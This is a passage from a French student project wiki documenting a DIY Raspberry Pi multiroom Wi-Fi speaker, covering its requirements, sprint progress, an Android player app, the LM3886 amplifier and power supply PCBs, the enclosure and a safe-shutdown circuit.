* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par les bobines, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
